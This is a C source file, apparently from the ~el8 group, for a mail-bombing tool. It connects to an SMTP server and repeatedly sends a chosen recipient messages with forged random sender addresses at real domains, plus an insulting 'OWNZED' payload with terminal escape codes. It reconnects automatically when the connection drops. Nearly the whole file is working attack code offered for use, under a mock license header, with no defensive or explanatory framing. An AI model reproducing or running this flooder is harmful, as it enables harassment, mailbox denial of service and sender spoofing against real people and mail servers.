/***********************************************
 * released under (E) licensing ...            *
 *        (E) RULES AND REGULATIONS            *
 * permission to use/rewrite/add     : granted *
 * permission to trojan/steal        : denied  *
 * permission to use illegally       : denied  *
 * permission to use on /dev/urandom : denied  *
 ***********************************************/
/* contact el8@press.co.jp for full license    */
/* code copyrighted by ~el8 -- don't infringe! */

#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netdb.h>
#include <unistd.h>
#include <signal.h>

char *mkfake(void)
{
   char *name = (char *) calloc(1, 10);
   *(name + 0) = 'A' + (lrand48() % ('Z' - 'A'));
   *(name + 1) = 'a' + (lrand48() % ('z' - 'a'));
   *(name + 2) = 'A' + (lrand48() % ('Z' - 'A'));
   *(name + 3) = 'a' + (lrand48() % ('z' - 'a'));
   *(name + 4) = 'A' + (lrand48() % ('Z' - 'A'));
   *(name + 5) = 'a' + (lrand48() % ('z' - 'a'));
   *(name + 6) = 'A' + (lrand48() % ('Z' - 'A'));
   *(name + 7) = 'a' + (lrand48() % ('z' - 'a'));
   *(name + 8) = 'A' + (lrand48() % ('Z' - 'A'));
   *(name + 9) = 'a' + (lrand48() % ('z' - 'a'));
   *(name + 10) = 0;
   return name;
}
#define HOST 23

const char *hosts[] = {
   "aol.com",
   "mindspring.com",
   "reality.sgi.com",
   "yahoo.com",
   "hotmail.com",
   "2600.com",
   "gay.com",
   "netzero.net",
   "playboy.com",
   "hackphreak.com",
   "b4b0.org",
   "velkro.net",
   "BEEP.com",
   "in-addr.arpa",
   "showmethemoney.com",
   "mtv.com",
   "bluejeans.com",
   "ns.co.uk",
   "the-force.net",
   "starwars.com",
   "sports.co.ck",
   "penthouse.nf",
   "sun.com"
};
const char *msg = "YOU HAVE BEEN OWNZED THANX TEW AoHELL NEW VERSION 5.0\n"
    " -- You've Got Mail (m0th3rfUqR)\n\a\033[?5h\n";

int main(int argc, char **argv)
{
   FILE *sockfd;
   struct hostent *he;
   struct sockaddr_in san;
   int sock, times = 0;
   void catcher(int s) {
      shutdown(sock, 2);
      close(sock);
      fclose(sockfd);
      san.sin_family = AF_INET;
      san.sin_port = htons(IPPORT_SMTP);
      san.sin_addr.s_addr = *((unsigned long *) he->h_addr);
      memset(&san.sin_zero, 0, sizeof(san.sin_zero));
      if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
         perror("reconnect");
         exit(-1);
      }
      if (connect(sock, (struct sockaddr *) &san, sizeof(san)) == -1) {
         perror("reconnect");
         exit(-1);
      }
      if ((sockfd = fdopen(sock, "w+")) == NULL) {
         perror("reconnect");
         exit(-1);

      }
      setvbuf(sockfd, (char *) 0, _IONBF, 0);
      fprintf(sockfd, "HELO fukr.com\r\n");
      signal(s, catcher);
   }

   srand48(time(0));


   if (argc < 4) {
      fprintf(stderr, "usage: %s [user] [address] [times]\n", argv[0]);
      exit(0);
   }

   if ((he = gethostbyname(argv[2])) == NULL) {
      herror(argv[2]);
      exit(-1);
   }
   if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      perror("socket()");
      exit(-1);
   }
   signal(SIGPIPE, catcher);
   san.sin_family = AF_INET;
   san.sin_port = htons(IPPORT_SMTP);
   san.sin_addr.s_addr = *((unsigned long *) he->h_addr);
   memset(&san.sin_zero, 0, sizeof(san.sin_zero));

   if (connect(sock, (struct sockaddr *) &san, sizeof(san)) == -1) {
      perror("connect()");
      exit(-1);
   }
   if ((sockfd = fdopen(sock, "w+")) == NULL) {
      perror("fdopen()");
      exit(-1);
   }
   setvbuf(sockfd, (char *) 0, _IONBF, 0);
   usleep(20000);
   fprintf(sockfd, "HELO pee.com\r\n");
   while (times++ < atoi(argv[3])) {
      usleep(2000);
      fprintf(sockfd, "MAIL FROM: %s@%s\r\n", mkfake(), hosts[lrand48() % HOST]
);
      fprintf(sockfd, "MAIL FROM: %s@%s\r\n", mkfake(), hosts[lrand48() % HOST]
);
      usleep(2000);
      fprintf(sockfd, "RCPT TO: %s\r\n", argv[1]);
      usleep(2000);
      fprintf(sockfd, "DATA\r\n");
      usleep(2000);
      fprintf(sockfd, "%s\r\n", msg);
      usleep(2000);
      fprintf(sockfd, ".\r\n");
      usleep(2000);
      fprintf(stderr, "%i,", times);
   }
   usleep(200000);
   fprintf(sockfd, "QUIT\r\n");
   shutdown(sock, 2);
   close(sock);
   fclose(sockfd);
   puts("done.");
   return 0;
}


syntax highlighted by Code2HTML, v. 0.9.1